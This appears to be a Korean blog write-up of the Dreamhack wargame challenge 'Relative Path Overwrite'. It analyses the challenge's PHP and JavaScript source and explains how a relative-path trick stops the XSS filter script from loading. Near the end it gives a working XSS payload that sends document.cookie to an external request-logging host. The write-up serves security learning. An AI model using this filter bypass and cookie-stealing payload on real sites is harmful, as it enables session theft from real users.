SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] Relative Path Overwrite

SlowTurtle_ 2023. 1. 10. 16:29
728x90

[Dreamhack] Relative Path Overwrite

소스코드부터 분석해보자.

<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite</title>
</head>
<body>
    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Relative-Path-Overwrite</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="/?page=vuln&param=dreamhack">Vuln page</a></li>
            <li><a href="/?page=report">Report</a></li>
          </ul>
        </div><!--/.nav-collapse -->
      </div>
    </nav><br/><br/><br/>
    <div class="container">
      <?php
          $page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
          if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
              include $page;
      ?>
    </div>
</body>
</html>

위는 index.php이다. page파라미터를 받아 php파일을 include해주는데 .., :, /문자를 필터링하여 LFI공격을 막는다는 것을 알 수 있다.

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var param = `<?php echo str_replace("`", "", $_GET["param"]); ?>`;
    if (typeof filter !== 'undefined') {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }
    param_elem.innerHTML = param;
</script>

위는 vuln.php이다. 우선 param이라는 파라미터에 검사하는 키워드가 없다면 pre태그 내에서 innerHTML로 삽입된다. 또한 ' 을 공백으로 replace한다. 따라서 자바스크립의 템플릿 리터널을 벗어날 수 없다는 것을 알 수 있다.

만약 filter.js를 피할 수 있다면 필터링을 우회할 수 있다. 한가지 더 짚어야할 것은 filter.js는 상대주소로 로드되고 있다는 점이다. 이 점을 이용하여 브라우저와 서버가 인식하는 경로를 다르게 하여 vuln.php에 접속하여 filter변수가 정의되지 않도록 할 수 있다.

var filter = ["script", "on", "frame", "object"];

위는 filter.js이다. XSS공격을 막기위해서 script, on, frame, object를 정의한 것을 확인할 수 있다. innerHTML에 삽입되어 XSS취약점이 있어도 필터링으로 XSS공격을 방지한 것을 알 수 있다.

<?php
if(isset($_POST['path'])){
    exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
    echo($output[0]);
}
?>
<form method="POST" class="form-inline">
    <div class="form-group">
        <label class="sr-only" for="path">/</label>
        <div class="input-group">
            <div class="input-group-addon">http://127.0.0.1/</div>
            <input type="text" class="form-control" id="path" name="path" placeholder="/">
        </div>
    </div>
    <button type="submit" class="btn btn-primary">Report</button>
</form>

위는 report.php이다. 경로를 입력하여 제출하면 파이썬 스크립트가 실행된다. 입력된 경로는 base64로 인코딩 되고 escape되어 실행된다. 이것은 Command Injection을 방지하기 위함이다.

이번엔 단순한 XSS공격이 아닌 DOM XSS공격을 실행시키는 것이기에 script태그을 사용한 공격은 불가능 하기에 on이벤트 핸들러를 기반으로 XSS공격을 한다. 외부에서 접근 가능한 웹서버를 통해서 쿠키를 탈취하여 확인하기 때문에 드림핵 툴을 이용했다. 

index.php/?page=vuln&param=<img src=@ onerror=location.href="https://kvujiza.request.dreamhack.games/"%2bdocument.cookie>

전에 학습했던 것을 잊지 않고 +를 %2b로 바꾸어 코드를 작성했다.(역시 삽질은 중요하다.) 

Report

flag값을 획득할 수 있었다.

728x90

'Webhacking-Write-Up > Dreamhack' 카테고리의 다른 글

[Dreamhack] XS-Search  (0) 2023.01.10
[Dreamhack] Relative Path Overwrite Advanced  (0) 2023.01.10
[Dreamhack] CSS Injection  (0) 2023.01.10
[Dreamhack] Client Side Template Injection  (0) 2023.01.10
[Dreamhack] CSRF Advanced  (0) 2023.01.10